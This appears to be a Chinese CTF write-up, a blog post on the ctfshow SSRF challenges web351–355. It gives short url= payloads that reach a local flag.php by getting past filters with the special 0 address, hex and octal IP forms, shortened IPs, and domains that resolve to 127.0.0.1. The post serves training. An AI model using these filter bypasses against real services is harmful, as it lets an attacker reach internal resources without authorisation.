ctfshow web入门 ssrf web351-355

1.web351

在这里插入图片描述
尝试访问本机的flag.php

payload:

url=http://localhost/flag.php
url=http://127.0.0.1/flag.php

2.web352

在这里插入图片描述
必须要用http或https,ip没有过滤因为匹配时没加变量,恒为真
payload:

url=http://127.0.0.1/flag.php
url=http://localhost/flag.php

3.web352

在这里插入图片描述
必须要用http或https,过滤了127.0.,只要匹配到了127.0.就不能继续执行了
windows 0代表0.0.0.0
linux 0代表 127.0.0.1
可以用0代替127.0.0.1
payload:

url=http://0/flag.php                #特殊0绕过
url=http://0.0.0.0/flag.php     #特殊0绕过
url=url=http://0x7F000001/flag.php   #进制绕过
http://0177.0.0.1/flag.php                   #进制绕过
http://127.1/flag.php                 #简写绕过

4.web354

在这里插入图片描述
过滤了0和1,可以把域名解析到127.0.0.1
http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/
http://sudo.cc/

url=http://sudo.cc/flag.php   

5.web355

在这里插入图片描述
对ip长度做了限制
payload:

url=http://0/flag.php
url=http://127.1/flag.php

参考文章:
ssrf

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值